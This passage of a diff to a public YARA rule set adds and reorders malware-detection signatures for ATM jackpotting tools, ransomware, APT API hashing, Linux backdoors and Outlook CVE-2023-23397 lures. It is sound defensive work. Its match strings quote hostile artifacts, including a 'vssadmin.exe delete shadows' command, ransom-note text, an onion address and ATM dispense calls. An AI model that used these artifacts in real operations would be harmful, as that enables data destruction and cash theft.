uint16( 0 ) == 0x5A4D and filesize < 2MB and ( 3 of ( $pattern* ) or ( pe.section_index ( ".profile" ) and pe.section_index ( ".detourc" ) and pe.section_index ( ".detourd" ) ) ) } -rule R3C0NST_ATM_Malware_Javadispcash : FILE +rule R3C0NST_Shellcode_Apihashing_FIN8 { meta: - description = "Detects ATM Malware JavaDispCash" + description = "Detects FIN8 Shellcode APIHashing" author = "Frank Boldewin (@r3c0nst)" - id = "606d1cb6-7879-569e-ac36-1e2f6a446dc1" - date = "2019-03-28" - modified = "2019-03-28" - reference = "https://twitter.com/r3c0nst/status/1111254169623674882" - source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Mal.JavaDispCash.yar#L1-L20" + id = "a5b4a925-c4cc-5d3a-a2f1-3372f77ceea2" + date = "2021-03-16" + modified = "2021-03-25" + reference = "https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf" + source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/Shellcode.APIHashing.FIN8.yar#L1-L74" license_url = "N/A" - logic_hash = "dd7c2ccc85038f3ba563f7f814c03668448b292fde36bcf9d06bf20fd341526f" + logic_hash = "958d6a3c0c78ad22fb56896d6a97b9fe79c56813dc36a37385f3ce5621008624" score = 75 - quality = 74 - tags = "FILE" - hash1 = "0149667c0f8cbfc216ef9d1f3154643cbbf6940e6f24a09c92a82dd7370a5027" - hash2 = "ef407db8c79033027858364fd7a04eeb70cf37b7c3a10069a92bae96da88dfaa" + quality = 90 + tags = "" strings: - $CashInfo = "getNumberOfCashUnits" nocase ascii wide - $Dispense = "waitforbillstaken" nocase ascii wide - $Inject = "No code to inject!" nocase ascii wide - $config = ".Agentcli" nocase ascii wide - $log1 = "logft.log" nocase ascii wide - $log2 = ".loginside" nocase ascii wide + $APIHashing32bit1 = {68 F2 55 03 88 68 65 19 6D 1E} + $APIHashing32bit2 = {68 9B 59 27 21 C1 E9 17 33 4C 24 10 68 37 5C 32 F4} + $APIHashing64bit = {49 BF 65 19 6D 1E F2 55 03 88 49 BE 37 5C 32 F4 9B 59 27 21} condition: - uint16( 0 ) == 0x4B50 and filesize < 500KB and all of them + all of ( $APIHashing32bit* ) or $APIHashing64bit } -rule R3C0NST_ATM_Malware_XFSADM : FILE +rule R3C0NST_ATM_Malware_Ripper : ATMRIPPER MALWARE FILE { meta: - description = "Detects ATM Malware XFSADM" + description = "Rule detects Thailand ATM Jackpot malware RIPPER (unpacked)" + author = "Frank Boldewin" + id = "38dfda5b-45cc-55d4-b619-91fa31c09a09" + date = "2016-08-01" + modified = "2019-02-27" + reference = "https://github.com/fboldewin/YARA-rules/" + source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.Ripper.yar#L1-L22" + license_url = "N/A" + logic_hash = "bb7b474330defe6d071b9595687d4510961055fa243a26306698c1e029a935f1" + score = 75 + quality = 90 + tags = "ATMRIPPER, MALWARE, FILE" + malware_family = "ATM-malware RIPPER" + + strings: + $Card_Hash1 = "be59a724feae790b3f315edf71a8450888c021f113e3c2b471e174130c201852" nocase ascii + $Card_Hash2 = "f26a57da928d6f3e3480dfc7d03761161191bdb170e10ca15c7ac5de6912945c" nocase ascii + $Card_Hash3 = "692cdaf6e42ab3a4f307e5d047249f7b30ceddd6bc88f22ca032412419bd62b7" nocase ascii + $Card_Hash4 = "0679c7c0c9b0d6919c12cbc087e942d7bf48d3a78cd3ec80321fbfd1b33a1904" nocase ascii + $Code_Bytes1 = { 68 CB 00 00 00 50 FF 15 ?? ?? ?? ?? EB 19 } + $Code_Bytes2 = { E8 ?? ?? ?? ?? 83 C4 18 6A 02 53 53 FF 15 ?? ?? ?? ?? 68 74 12 43 00 8D 55 A4 } + $Service = "DBACKUP SERVICE" nocase wide + + condition: + uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and 2 of ( $Card_Hash* ) and all of ( $Code_Bytes* ) and filesize < 400KB and ( $Service in ( 0x2f000 .. 0x30000 ) ) +} +rule R3C0NST_ATM_Malware_Dispcashbr : FILE +{ + meta: + description = "Detects ATM Malware DispCashBR" author = "Frank Boldewin (@r3c0nst)" - id = "57124fef-73a1-5978-b165-b1b7d7c1196e" - date = "2019-06-21" - modified = "2019-07-11" - reference = "https://twitter.com/r3c0nst/status/1149043362244308992" - source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.XFSADM.yar#L1-L24" + id = "17d22120-0ca2-5b27-9816-21ab4a6fb20c" + date = "2020-02-27" + modified = "2020-08-17" + reference = "https://twitter.com/r3c0nst/status/1232944566208286720" + source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.DispCashBR.yar#L1-L21" license_url = "N/A" - logic_hash = "2dd0b9e0a2dd18725c9342a234520c96c6b30cf3ce7196562b2380a39f5f8673" + logic_hash = "3fb5d62cb779ddc13e9b938290dfa9d2a3353d7969e639a662c1bcaca945de4d" score = 75 - quality = 84 + quality = 90 tags = "FILE" - hash1 = "2740bd2b7aa0eaa8de2135dd710eb669d4c4c91d29eefbf54f1b81165ad2da4d" + hash1 = "7cea6510434f2c8f28c9dbada7973449bb1f844cfe589cdc103c9946c2673036" strings: - $Code1 = {68 88 13 00 00 FF 35 ?? ?? ?? ?? 68 CF 00 00 00 50 FF 15} - $Code2 = {68 98 01 00 00 50 FF 15} - $Mutex = "myXFSADM" nocase wide - $MSXFSDIR = "C:\\Windows\\System32\\msxfs.dll" nocase ascii - $XFSCommand1 = "WfsExecute" nocase ascii - $XFSCommand2 = "WfsGetInfo" nocase ascii - $PDB = "C:\\Work64\\ADM\\XFS\\Release\\XFS.pdb" nocase ascii - $WindowName = "XFS ADM" nocase wide - $FindWindow = "ADM rec" nocase wide - $LogFile = "xfs.log" nocase ascii - $TmpFile = "~pipe.tmp" nocase ascii + $String1 = "(*) Dispensando: %lu" ascii nocase + $String2 = "COMANDO EXECUTADO COM SUCESSO" ascii nocase + $String3 = "[+] FOI SACADO: %lu R$ [+]" ascii nocase + $DbgStr1 = "_Get_Information_cdm_cuinfo" ascii nocase + $DbgStr2 = "_GET_INFORMATION_SHUTTER" ascii nocase + $Code1 = {C7 44 24 08 00 00 00 00 C7 44 24 04 2F 01 00 00 89 04 24 E8} + $Code2 = {C7 44 24 08 00 00 00 00 C7 44 24 04 17 05 00 00 89 04 24 E8} + $Code3 = {89 4C 24 08 C7 44 24 04 2E 01 00 00 89 04 24 E8} condition: - uint16( 0 ) == 0x5A4D and filesize < 500KB and 4 of them + uint16( 0 ) == 0x5A4D and filesize < 100KB and 2 of ( $String* ) and 1 of ( $DbgStr* ) and all of ( $Code* ) } -rule R3C0NST_Ransomware_Germanwiper : FILE +rule R3C0NST_ATM_Malware_XFS_ALICE : FILE { meta: - description = "Detects RansomWare GermanWiper in Memory or in unpacked state" + description = "Detects ATM Malware ALICE" author = "Frank Boldewin (@r3c0nst)" - id = "ea71849e-62a1-5b4d-9cf7-0728192361cc" - date = "2019-08-05" - modified = "2019-08-05" - reference = "https://twitter.com/r3c0nst/status/1158326526766657538" - source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/Ransomware.Germanwiper.yar#L1-L25" + id = "6132730c-4684-517a-b90d-98ed250e2cba" + date = "2020-01-09" + modified = "2020-08-17" + reference = "https://twitter.com/r3c0nst/status/1215265889844637696" + source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.ALICE.yar#L1-L22" license_url = "N/A" - logic_hash = "563ad59abd09d9a5fcfcf5ed48dc1e3c48b4bb198c20721d5af531da20d2b0d3" + logic_hash = "7dca049f024f09c2e778b0693a1015d1fc5a006fc564de914e85231cb5d73da3" score = 75 quality = 90 tags = "FILE" - hash_packed = "41364427dee49bf544dcff61a6899b3b7e59852435e4107931e294079a42de7c" - hash_unpacked = "708967cad421bb2396017bdd10a42e6799da27e29264f4b5fb095c0e3503e447" + hash1 = "6b2fac8331e4b3e108aa829b297347f686ade233b24d94d881dc4eff81b9eb30" strings: - $PurgeCode = {6a 00 8b 47 08 50 6a 00 6a 01 e8 ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 8b f0 8b d7 8b c3 e8} - $Mutex1 = "HSDFSD-HFSD-3241-91E7-ASDGSDGHH" nocase ascii - $Mutex2 = "cFgxTERNWEVhM2V" nocase ascii - $ProcessKill1 = "oracle.exe" nocase ascii - $ProcessKill2 = "sqbcoreservice.exe" nocase ascii - $ProcessKill3 = "isqlplussvc.exe" nocase ascii - $ProcessKill4 = "mysqld.exe" nocase ascii - $KillShadowCopies = "vssadmin.exe delete shadows" nocase ascii - $Domain1 = "cdnjs.cloudflare.com" nocase ascii - $Domain2 = "expandingdelegation.top" nocase ascii - $RansomNote = "Entschluesselungs_Anleitung.html" nocase ascii + $String1 = "Project Alice" ascii nocase + $String2 = "Can't dispense requested amount." ascii nocase + $String3 = "Selected cassette is unavailable" ascii nocase + $String4 = "ATM update manager" wide nocase + $String5 = "Input PIN-code for access" wide nocase + $String6 = "Supervisor ID" wide nocase + $Code1 = {50 68 08 07 00 00 6A 00 FF 75 0C FF 75 08 E8} + $Code2 = {50 6A 00 FF 75 10 FF 75 0C FF 75 08 E8} + $Code3 = {68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 0B C0 75 29 6A} condition: - uint16( 0 ) == 0x5A4D and filesize < 1000KB and 5 of them + uint16( 0 ) == 0x5A4D and filesize < 200KB and 4 of ( $String* ) and all of ( $Code* ) } -rule R3C0NST_UNC2891_Slapstick : FILE +rule R3C0NST_UNC2891_Caketap { meta: - description = "Detects UNC2891 Slapstick pam backdoor" + description = "Detects UNC2891 Rootkit Caketap" author = "Frank Boldewin (@r3c0nst)" - id = "a731acff-f657-5877-859e-7447230576df" + id = "9c2ffe3d-69ca-5f93-bdb1-40e449139dec" date = "2022-03-30" modified = "2023-01-05" reference = "https://github.com/fboldewin/YARA-rules/" - source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/UNC2891_Slapstick.yar#L1-L19" + source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/UNC2891_Caketap.yar#L1-L16" license_url = "N/A" - logic_hash = "7777c3b850f5b7ee326be5461ebc3bf37fb201b67ada78b50575fb31f50adf9a" + logic_hash = "530a7d062a218217d2c05460428b2576c3fe2a6099c93940aabde73c513a8914" + score = 75 + quality = 88 + tags = "" + + strings: + $str1 = ".caahGss187" ascii fullword + $str2 = "ipstat" ascii + $code1 = {41 80 7E 06 4B 75 ?? 41 80 7E 07 57 75 ?? 41 0F B6 46 2B} + $code2 = {41 C6 46 01 3D 41 C6 46 08 32} + + condition: + uint32( 0 ) == 0x464c457f and ( all of ( $code* ) or ( all of ( $str* ) and #str2 == 2 ) ) +} +rule R3C0NST_Gamaredon_Getimportbyhash : FILE +{ + meta: + description = "Detects Gamaredon APIHashing" + author = "Frank Boldewin (@r3c0nst)" + id = "8f28273e-e8ca-52cb-8dbc-a235598b1975" + date = "2021-05-12" + modified = "2021-05-12" + reference = "https://github.com/fboldewin/YARA-rules/" + source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/APT.Gamaredon.GetImportByHash.yar#L1-L16" + license_url = "N/A" + logic_hash = "b3baebfb745ebc7b9e6df746bfa9622f925b8e8130932e44a148881e7d1fc162" score = 75 quality = 90 tags = "FILE" - hash1 = "9d0165e0484c31bd4ea467650b2ae2f359f67ae1016af49326bb374cead5f789" + hash1 = "2d03a301bae0e95a355acd464afc77fde88dd00232aad6c8580b365f97f67a79" + hash2 = "43d6e56515cca476f7279c3f276bf848da4bc13fd15fad9663b9e044970253e8" + hash3 = "5c09f6ebb7243994ddc466058d5dc9920a5fced5e843200b1f057bda087b8ba6" strings: - $code1 = {F6 50 04 48 FF C0 48 39 D0 75 F5} - $code2 = {88 01 48 FF C1 8A 11 89 C8 29 F8 84 D2 0F 85} - $str1 = "/proc/self/exe" fullword ascii - $str2 = "%-23s %-23s %-23s %-23s %-23s %s" fullword ascii - $str3 = "pam_sm_authenticate" ascii - $str4 = "ACCESS GRANTED & WELCOME" xor + $ParseImgExportDir = { 8B 50 3C 03 D0 8B 52 78 03 D0 8B 4A 1C 03 C8 } + $djb2Hashing = { 8B 75 08 BA 05 15 00 00 8B C2 C1 E2 05 03 D0 33 DB 8A 1E 03 D3 46 33 DB 8A 1E 85 DB 75 } condition: - uint32( 0 ) == 0x464c457f and filesize < 100KB and ( all of ( $code* ) or all of ( $str* ) ) + uint16( 0 ) == 0x5a4d and all of them } rule R3C0NST_UNC2891_Winghook : FILE { @@ -60811,92 +60653,119 @@ rule R3C0NST_UNC2891_Winghook : FILE condition: uint32( 0 ) == 0x464c457f and filesize < 100KB and 1 of ( $code* ) and all of ( $str* ) } -rule R3C0NST_ATM_Malware_Xfscashncr : FILE +rule R3C0NST_Exploit_Outlook_CVE_2023_23397 : CVE_2023_23397 FILE { meta: - description = "Detects ATM Malware XFSCashNCR" + description = "Detects Outlook appointments exploiting CVE-2023-23397" + author = "Frank Boldewin" + id = "7e355e5f-93ca-561d-9a12-f73f1d429e4d" + date = "2023-03-19" + modified = "2023-03-25" + reference = "https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/" + source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/Exploit_Outlook_CVE_2023_23397.yar#L1-L30" + license_url = "N/A" + logic_hash = "1847e8223b2f6d3ec5108e15ee46ef031ee1e26d3a5e8ed4a70c77b031f6a5b6" + score = 75 + quality = 86 + tags = "CVE-2023-23397, FILE" + Author = "Frank Boldewin (@r3c0nst)" + Hash1 = "078b5023cae7bd784a84ec4ee8df305ee7825025265bf2ddc1f5238c3e432f5f" + Hash2 = "a034427fd8524fd62380c881c30b9ab483535974ddd567556692cffc206809d1" + Hash3 = "e7a1391dd53f349094c1235760ed0642519fd87baf740839817d47488b9aef02" + Hash4 = "1543677037fa339877e1d6ef2d077f94613afbcd6434d7181a18df74aca7742b" + + strings: + $ipmtask = "IPM.Task" wide ascii + $ipmappointment = "IPM.Appointment" wide ascii + $ipmtaskb64 = "IPM.Task" base64 base64wide + $ipmappointmentb64 = "IPM.Appointment" base64 base64wide + $unc_path1 = { 5C 00 5C 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00|3? 00 3? 00|3? 00 3? 00 3? 00) } + $unc_path2 = { 5C 5C (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3?|3? 3?|3? 3? 3?) } + $unc_a = "\x00\x00\x00\x5c\x5c" base64 + $unc_w = "\x00\x00\x5c\x00\x5c" base64wide + $mail1 = "from:" ascii wide nocase + $mail2 = "received:" ascii wide nocase + + condition: + (( uint32be( 0 ) == 0xD0CF11E0 or uint32be( 0 ) == 0x789F3E22 ) or ( all of ( $mail* ) ) ) and ( ( $ipmtask or $ipmappointment ) or ( $ipmtaskb64 or $ipmappointmentb64 ) ) and ( ( $unc_path1 or $unc_path2 ) or ( $unc_a or $unc_w ) ) +} +rule R3C0NST_ATM_Malware_NVISOSPIT : FILE +{ + meta: + description = "Detects ATM Malware NVISOSPIT" author = "Frank Boldewin (@r3c0nst)" - id = "8886cd00-4f4a-5f25-99e0-0806f5e1b4b4" - date = "2019-08-28" - modified = "2019-08-28" - reference = "https://twitter.com/r3c0nst/status/1166773324548063232" - source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.XFSCashNCR.yar#L1-L21" + id = "faf9e78e-9d7a-5c9b-a08e-90b895333d5c" + date = "2019-05-31" + modified = "2019-05-31" + reference = "https://twitter.com/r3c0nst/status/1134403094157115392" + source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.NVISOSPIT.yar#L3-L18" license_url = "N/A" - logic_hash = "87f197058d4b515cb4829b5e403a96b88eb95cda81e53a9e1484df8c743d8c4a" + hash = "d7ce7b152f0da49e96fa32a9336b35253905d9940b001288d0df55d8f8b3951f" + logic_hash = "11c1fea74b72a7821ce76a95846a2caff7354e71906496d9530cb44339a49a98" score = 75 quality = 90 tags = "FILE" - hash1 = "d6dff67a6b4423b5721908bdcc668951f33b3c214e318051c96e8c158e8931c0" strings: - $Code1 = {50 8b 4d e8 8b 51 10 52 6a 00 68 2d 01 00 00 8b 45 e8 0f b7 48 1c 51 e8} - $Code2 = {52 8d 45 d0 50 68 2e 01 00 00 8b 4d e8 0f b7 51 1c 52 e8} - $StatusMessage1 = "[+] Ingrese Denominacion ISO" nocase ascii - $StatusMessage2 = "[+] Ingrese numero de billetes" nocase ascii - $StatusMessage3 = "[!] FAIL.. dispensadores no encontrados" nocase ascii - $StatusMessage4 = "[!] Unable continue, IMPOSIBLE abrir dispenser" nocase ascii - $PDB = "C:\\Users\\cyttek\\Downloads\\xfs_cashXP\\Debug\\xfs_cash_ncr.pdb" nocase ascii - $LogFile = "XfsLog.txt" nocase ascii + $MalwareName = "NVISOSPIT" ascii fullword + $DispenseCommand = "Calling WFSExecute() to dispense $%d" fullword ascii + $Code = {C6 85 7D F9 FF FF 4D C6 85 7E F9 FF FF 4D C6 85 7F F9 FF FF 4B} condition: - uint16( 0 ) == 0x5A4D and filesize < 1500KB and 4 of them + uint16( 0 ) == 0x5A4D and filesize < 100KB and 2 of them } -rule R3C0NST_ATM_Malware_XFS_ALICE : FILE +rule R3C0NST_Prolock_Malware : FILE { meta: - description = "Detects ATM Malware ALICE" + description = "Detects Prolock malware in encrypted and decrypted mode" author = "Frank Boldewin (@r3c0nst)" - id = "6132730c-4684-517a-b90d-98ed250e2cba" - date = "2020-01-09" - modified = "2020-08-17" - reference = "https://twitter.com/r3c0nst/status/1215265889844637696" - source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.ALICE.yar#L1-L22" + id = "1440b5f5-f1e7-522e-8852-84c326858bb9" + date = "2020-05-17" + modified = "2020-05-20" + reference = "https://raw.githubusercontent.com/fboldewin/YARA-rules/master/Prolock.Malware.yar" + source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/Prolock.Malware.yar#L1-L20" license_url = "N/A" - logic_hash = "7dca049f024f09c2e778b0693a1015d1fc5a006fc564de914e85231cb5d73da3" + logic_hash = "7502011eba1e36c8ec699f1b627c4980cc3009bb43c5aa5a58571330e93211ea" score = 75 quality = 90 tags = "FILE" - hash1 = "6b2fac8331e4b3e108aa829b297347f686ade233b24d94d881dc4eff81b9eb30" + hash1 = "a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0" + hash2 = "dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178" strings: - $String1 = "Project Alice" ascii nocase - $String2 = "Can't dispense requested amount." ascii nocase - $String3 = "Selected cassette is unavailable" ascii nocase - $String4 = "ATM update manager" wide nocase - $String5 = "Input PIN-code for access" wide nocase - $String6 = "Supervisor ID" wide nocase - $Code1 = {50 68 08 07 00 00 6A 00 FF 75 0C FF 75 08 E8} - $Code2 = {50 6A 00 FF 75 10 FF 75 0C FF 75 08 E8} - $Code3 = {68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 0B C0 75 29 6A} + $DecryptionRoutine1 = {31 04 1A 81 3C 1A 90 90 90 90 74} + $DecryptionRoutine2 = {83 C3 04 81 3C 1A C4 C4 C4 C4 74} + $DecryptedString1 = "support981723721@protonmail.com" nocase ascii + $DecryptedString2 = "Your files have been encrypted by ProLock Ransomware" nocase ascii + $DecryptedString3 = "msaoyrayohnp32tcgwcanhjouetb5k54aekgnwg7dcvtgtecpumrxpqd.onion" nocase ascii + $CryptoCode = {B8 63 51 E1 B7 31 D2 8D BE ?? ?? ?? ?? B9 63 51 E1 B7 81 C1 B9 79 37 9E} condition: - uint16( 0 ) == 0x5A4D and filesize < 200KB and 4 of ( $String* ) and all of ( $Code* ) + (( uint16( 0 ) == 0x5A4D ) or ( uint16( 0 ) == 0x4D42 ) ) and filesize < 100KB and all of ( $DecryptionRoutine* ) or ( 1 of ( $DecryptedString* ) and $CryptoCode ) } - -rule R3C0NST_ATM_Malware_ATMITCH : FILE +rule R3C0NST_Aplib_Decompression : FILE { meta: - description = "Detects ATM Malware ATMItch" - author = "Frank Boldewin (@r3c0nst)" - id = "4d7e9615-9db6-5fc7-b95e-b8c7b2c034a8" - date = "2019-03-18" - modified = "2019-03-18" - reference = "https://github.com/fboldewin/YARA-rules/" - source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.ATMItch.yar#L3-L14" + description = "Detects aPLib decompression code often used in malware" + author = "@r3c0nst" + id = "f45c73f5-d316-5fea-a8c4-fd930733415f" + date = "2021-03-24" + modified = "2021-03-25" + reference = "https://ibsensoftware.com/files/aPLib-1.1.1.zip" + source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/aPLib_decompression.yar#L1-L16" license_url = "N/A" - logic_hash = "4278cbcd8c465ba57b65a166e0bd48dcc73eae8660972478d3116bc0d73cf3c4" + logic_hash = "1150701724fdb487ebe8fb959afd12fff37a8e9137cb94e78e976a2566ec5fa4" score = 75 - quality = 82 + quality = 90 tags = "FILE" strings: - $STRING1 = "SCREEN and think what does you DO" nocase ascii wide - $STRING2 = "Receive CASH UNIT info first, then LOOK on" nocase ascii wide - $STRING3 = "Unknown command mnemonic, check it and repeat again" nocase ascii wide - $STRING4 = "Catch some money, bitch!" nocase ascii wide + $pattern1 = { FC B2 80 31 DB A4 B3 02 } + $pattern2 = { AC D1 E8 74 ?? 11 C9 EB } + $pattern3 = { 73 0A 80 FC 05 73 ?? 83 F8 7F 77 } condition: - ( uint16( 0 ) == 0x5A4D and 1 of them ) or ( pe.imphash ( ) == "655ad5439db0832c5a3f86d0a68ddaac" ) + filesize < 10MB and all of them } rule R3C0NST_Stealbit : FILE { @@ -60922,6 +60791,68 @@ rule R3C0NST_Stealbit : FILE condition: uint16( 0 ) == 0x5A4D and filesize < 100KB and $C2Decryption } +rule R3C0NST_ATM_Malware_XFSADM : FILE +{ + meta: + description = "Detects ATM Malware XFSADM" + author = "Frank Boldewin (@r3c0nst)" + id = "57124fef-73a1-5978-b165-b1b7d7c1196e" + date = "2019-06-21" + modified = "2019-07-11" + reference = "https://twitter.com/r3c0nst/status/1149043362244308992" + source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.XFSADM.yar#L1-L24" + license_url = "N/A" + logic_hash = "2dd0b9e0a2dd18725c9342a234520c96c6b30cf3ce7196562b2380a39f5f8673" + score = 75 + quality = 84 + tags = "FILE" + hash1 = "2740bd2b7aa0eaa8de2135dd710eb669d4c4c91d29eefbf54f1b81165ad2da4d" + + strings: + $Code1 = {68 88 13 00 00 FF 35 ?? ?? ?? ?? 68 CF 00 00 00 50 FF 15} + $Code2 = {68 98 01 00 00 50 FF 15} + $Mutex = "myXFSADM" nocase wide + $MSXFSDIR = "C:\\Windows\\System32\\msxfs.dll" nocase ascii + $XFSCommand1 = "WfsExecute" nocase ascii + $XFSCommand2 = "WfsGetInfo" nocase ascii + $PDB = "C:\\Work64\\ADM\\XFS\\Release\\XFS.pdb" nocase ascii + $WindowName = "XFS ADM" nocase wide + $FindWindow = "ADM rec" nocase wide + $LogFile = "xfs.log" nocase ascii + $TmpFile = "~pipe.tmp" nocase ascii + + condition: + uint16( 0 ) == 0x5A4D and filesize < 500KB and 4 of them +} +rule R3C0NST_ATM_Malware_Javadispcash : FILE +{ + meta: + description = "Detects ATM Malware JavaDispCash" + author = "Frank Boldewin (@r3c0nst)" + id = "606d1cb6-7879-569e-ac36-1e2f6a446dc1" + date = "2019-03-28" + modified = "2019-03-28" + reference = "https://twitter.com/r3c0nst/status/1111254169623674882" + source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Mal.JavaDispCash.yar#L1-L20" + license_url = "N/A" + logic_hash = "dd7c2ccc85038f3ba563f7f814c03668448b292fde36bcf9d06bf20fd341526f" + score = 75 + quality = 74 + tags = "FILE" + hash1 = "0149667c0f8cbfc216ef9d1f3154643cbbf6940e6f24a09c92a82dd7370a5027" + hash2 = "ef407db8c79033027858364fd7a04eeb70cf37b7c3a10069a92bae96da88dfaa" + + strings: + $CashInfo = "getNumberOfCashUnits" nocase ascii wide + $Dispense = "waitforbillstaken" nocase ascii wide + $Inject = "No code to inject!" nocase ascii wide + $config = ".Agentcli" nocase ascii wide + $log1 = "logft.log" nocase ascii wide + $log2 = ".loginside" nocase ascii wide + + condition: + uint16( 0 ) == 0x4B50 and filesize < 500KB and all of them +} rule R3C0NST_ATM_CINEO4060_Blackbox : FILE { @@ -60955,48 +60886,117 @@ rule R3C0NST_ATM_CINEO4060_Blackbox : FILE condition: ( uint16( 0 ) == 0x4b50 and filesize < 50KB and all of ( $MyAgent* ) ) or ( uint16( 0 ) == 0x5A4D and ( pe.characteristics & pe.DLL ) and $Hook and $Delphi and all of ( $WMIHOOK* ) or all of ( $TRICK* ) ) } -rule R3C0NST_Exploit_Outlook_CVE_2023_23397 : CVE_2023_23397 FILE + +rule R3C0NST_ATM_Malware_Ploutusi : FILE { meta: - description = "Detects Outlook appointments exploiting CVE-2023-23397" + description = "Detects Ploutus I .NET samples based on MetabaseQ report" + author = "Frank Boldewin (@r3c0nst)" + id = "02104112-6f81-5d19-935d-45cfcd2fa41c" + date = "2021-03-03" + modified = "2021-03-04" + reference = "https://www.metabaseq.com/recursos/ploutus-is-back-targeting-itautec-atms-in-latin-america" + source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.Ploutus-I.yar#L3-L26" + license_url = "N/A" + logic_hash = "77100d300a40219187f5c4b8270f599a91652b69980fe450b791181b8c30b5a4" + score = 75 + quality = 90 + tags = "FILE" + hash1 = "4f6d4c6f97caf888a98a3097b663055b63e605f15ea8f7cc7347283a0b8424c1" + hash2 = "8ca29597152dc79bcf79394e1ae2635b393d844bb0eeef6709d37e6778457b31" + hash3 = "dce1f01c08937fb5c98964a0911de403eed2101a9d46c5eb9899755c40c3765a" + hash4 = "3a1d992277a862640a0835af9dff4b029cfc6c5451e9716f106efaf07702a98c" + + strings: + $Code = {28 ?? 02 00 06 2a} + + condition: + filesize < 300KB and $Code and pe.pdb_path contains "Diebold.pdb" and pe.imports ( "mscoree.dll" , "_CorExeMain" ) and ( for any i in ( 0 .. pe.number_of_resources -1 ) : ( pe.resources [ i ] . type == pe.RESOURCE_TYPE_VERSION and ( pe.version_info [ "InternalName" ] contains "Diebold.exe" ) ) ) +} + +rule R3C0NST_ATM_Malware_Dispenserxfs : FILE +{ + meta: + description = "No description has been set in the source file - R3c0nst" author = "Frank Boldewin" - id = "7e355e5f-93ca-561d-9a12-f73f1d429e4d" - date = "2023-03-19" - modified = "2023-03-25" - reference = "https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/" - source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/Exploit_Outlook_CVE_2023_23397.yar#L1-L30" + id = "52b1aa57-283b-54d7-bd1b-fb5da5f8d269" + date = "2019-02-27" + modified = "2019-02-28" + reference = "https://github.com/fboldewin/YARA-rules/" + source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.DispenserXFS.yar#L3-L13" license_url = "N/A" - logic_hash = "1847e8223b2f6d3ec5108e15ee46ef031ee1e26d3a5e8ed4a70c77b031f6a5b6" + logic_hash = "0e588e2ba03d5eb750183600cce278e791a71f86fbf933ba9d7fda352bd37e2f" score = 75 - quality = 86 - tags = "CVE-2023-23397, FILE" - Author = "Frank Boldewin (@r3c0nst)" - Hash1 = "078b5023cae7bd784a84ec4ee8df305ee7825025265bf2ddc1f5238c3e432f5f" - Hash2 = "a034427fd8524fd62380c881c30b9ab483535974ddd567556692cffc206809d1" - Hash3 = "e7a1391dd53f349094c1235760ed0642519fd87baf740839817d47488b9aef02" - Hash4 = "1543677037fa339877e1d6ef2d077f94613afbcd6434d7181a18df74aca7742b" + quality = 59 + tags = "FILE" strings: - $ipmtask = "IPM.Task" wide ascii - $ipmappointment = "IPM.Appointment" wide ascii - $ipmtaskb64 = "IPM.Task" base64 base64wide - $ipmappointmentb64 = "IPM.Appointment" base64 base64wide - $unc_path1 = { 5C 00 5C 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00|3? 00 3? 00|3? 00 3? 